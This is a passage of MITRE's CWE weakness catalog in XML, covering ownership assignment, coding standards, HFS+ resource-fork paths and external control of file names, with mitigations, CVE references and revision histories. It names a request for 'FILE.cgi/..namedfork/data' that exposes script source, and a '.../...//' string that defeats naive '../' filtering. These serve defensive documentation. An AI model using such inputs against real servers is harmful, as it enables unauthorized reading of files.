					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Name, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-05-27">Failure to Enforce that Messages or Data are Well-Formed</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Improper Enforcement of Message or Data Structure</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="708" Name="Incorrect Ownership Assignment" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product assigns an owner to a resource, but the owner is outside of the intended control sphere.</Description>
         <Extended_Description>This may allow the resource to be manipulated by actors outside of the intended control sphere.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="282" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="345" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Note>An attacker could read and modify data for which they do not have permissions to access directly.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Policy</Phase>
               <Description>Periodically review the privileges and their owners.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use automated tools to check for privilege settings.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-5101</Reference>
               <Description>File system sets wrong ownership and group when creating a new file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5101</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4238</Reference>
               <Description>OS installs program with bin owner/group, allowing modification.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4238</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1716</Reference>
               <Description>Manager does not properly restore ownership of a reusable resource when a user logs out, allowing privilege escalation.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1716</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3148</Reference>
               <Description>Backup software restores symbolic links with incorrect uid/gid.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3148</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1064</Reference>
               <Description>Product changes the ownership of files that a symlink points to, instead of the symlink itself.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1064</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-1551</Reference>
               <Description>Component assigns ownership of sensitive directory tree to a user account, which can be leveraged to perform privileged operations.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-1551</Link>
            </Observed_Example>
         </Observed_Examples>
         <Notes>
            <Note Type="Maintenance">
               <xhtml:p>This overlaps verification errors, permissions, and privileges.</xhtml:p>
               <xhtml:p>A closely related weakness is the incorrect assignment of groups to a resource. It is not clear whether it would fall under this entry or require a different entry.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
		<Submission_Comment>Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Maintenance_Notes, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="71" Name="DEPRECATED: Apple '.DS_Store'" Abstraction="Variant" Structure="Simple" Status="Deprecated">
         <Description>This entry has been deprecated as it represents a specific observed example of a UNIX Hard Link weakness type rather than its own individual weakness type. Please refer to CWE-62.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Maintenance_Notes, Name, Observed_Examples, Relationships, Research_Gaps, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">Apple '.DS_Store'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="710" Name="Improper Adherence to Coding Standards" Abstraction="Pillar" Structure="Simple" Status="Incomplete">
         <Description>The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.</Description>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Document and closely follow coding standards.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Phase>Implementation</Phase>
               <Description>Where possible, use automated tools to enforce the standards.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">Coding Standards Violation</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="72" Name="Improper Handling of Apple HFS+ Alternate Data Stream Path" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.</Description>
         <Extended_Description>If the product chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the product may take unexpected actions. Further, if the product intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="66" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="macOS" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>
               <xhtml:p>The Apple HFS+ file system permits files to have multiple data input streams, accessible through special paths. The Mac OS X operating system provides a way to access the different data input streams through special paths and as an extended attribute:</xhtml:p>
               <xhtml:div style="margin-left:1em;">
                  <xhtml:div>- Resource fork: file/..namedfork/rsrc, file/rsrc (deprecated), xattr:com.apple.ResourceFork</xhtml:div>
                  <xhtml:div>- Data fork: file/..namedfork/data (only versions prior to Mac OS X v10.5)</xhtml:div>
               </xhtml:div>
               <xhtml:p>Additionally, on filesystems that lack native support for multiple streams, the resource fork and file metadata may be stored in a file with "._" prepended to the name.</xhtml:p>
               <xhtml:p>Forks can also be accessed through non-portable APIs.</xhtml:p>
               <xhtml:p>Forks inherit the file system access controls of the file they belong to.</xhtml:p>
               <xhtml:p>Programs need to control access to these paths, if the processing of a file system object is dependent on the structure of its path.</xhtml:p>
            </Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>A web server that interprets FILE.cgi as processing instructions could disclose the source code for FILE.cgi by requesting FILE.cgi/..namedfork/data. This might occur because the web server invokes the default handler which may return the contents of the file.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-1084</Reference>
               <Description>Server allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1084</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-578"/>
         </References>
         <Notes>
            <Note Type="Theoretical">This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.</Note>
            <Note Type="Research Gap">Under-studied</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>David Remahl</Modification_Name>
               <Modification_Organization>Apple</Modification_Organization>
               <Modification_Date>2008-11-05</Modification_Date>
               <Modification_Comment>clarified description, provided background details, and added demonstrative example</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Background_Details, Demonstrative_Examples, Description, Name, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-11-24">Apple HFS+ Alternate Data Stream</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Handle Apple HFS+ Alternate Data Stream Path</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="73" Name="External Control of File Name or Path" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product allows user input to control or influence paths or file names that are used in filesystem operations.</Description>
         <Extended_Description>
            <xhtml:p>This could allow an attacker to access or modify system files or other files that are critical to the application.</xhtml:p>
            <xhtml:p>Path manipulation errors occur when the following two conditions are met:</xhtml:p>
            <xhtml:div style="margin-left:1em;">
               <xhtml:div>1. An attacker can specify a path used in an operation on the filesystem.</xhtml:div>
               <xhtml:div>2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.</xhtml:div>
            </xhtml:div>
            <xhtml:p>For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="642" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="610" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="22" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="41" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="98" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="434" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="59" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Unix" Prevalence="Often"/>
            <Operating_System Class="Windows" Prevalence="Often"/>
            <Operating_System Class="macOS" Prevalence="Often"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
               <Note>The application can operate on unexpected files. Confidentiality is violated when the targeted filename is not directly readable by the attacker.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Files or Directories</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>The application can operate on unexpected files. This may violate integrity if the filename is written to, or if the filename is for a program or other form of executable code.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>The application can operate on unexpected files. Availability can be violated if the attacker specifies an unexpected file that the application modifies. Availability can also be affected if the attacker specifies a filename for a large file, or points to a special device or a file that does not have the format that the application expects.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>The external control or influence of filenames can often be detected using automated static analysis that models data flow within the product.</xhtml:p>
                  <xhtml:p>Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.</xhtml:p>
               </Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>
                  <xhtml:p>Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.</xhtml:p>
                  <xhtml:p>Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.</xhtml:p>
                  <xhtml:p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.</xhtml:p>
                  <xhtml:p>Be careful to avoid CWE-243 and other weaknesses related to jails.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Installation</Phase>
               <Phase>Operation</Phase>
               <Description>Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Operation</Phase>
               <Phase>Implementation</Phase>
               <Description>If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-65">
